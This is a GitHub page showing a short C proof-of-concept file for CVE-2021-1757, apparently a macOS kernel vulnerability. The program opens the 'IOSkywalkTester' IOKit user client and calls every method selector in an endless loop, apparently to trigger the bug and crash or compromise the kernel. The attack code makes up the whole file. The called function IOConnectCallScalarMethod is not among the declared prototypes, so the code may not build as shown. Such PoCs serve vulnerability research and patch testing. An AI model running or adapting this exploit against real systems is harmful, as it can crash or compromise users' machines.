-
Notifications
You must be signed in to change notification settings - Fork 30
/
CVE-2021-1757-PoC.c
22 lines (19 loc) · 1012 Bytes
/
CVE-2021-1757-PoC.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
typedef mach_port_t io_object_t;
typedef io_object_t io_service_t;
typedef io_object_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
int main()
{
io_connect_t conn;
IOServiceOpen(IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSkywalkTester")), mach_task_self(), 0, &conn);
for(int i = 0; ; i++)
IOConnectCallScalarMethod(conn, i, 0, 0, 0, 0);
}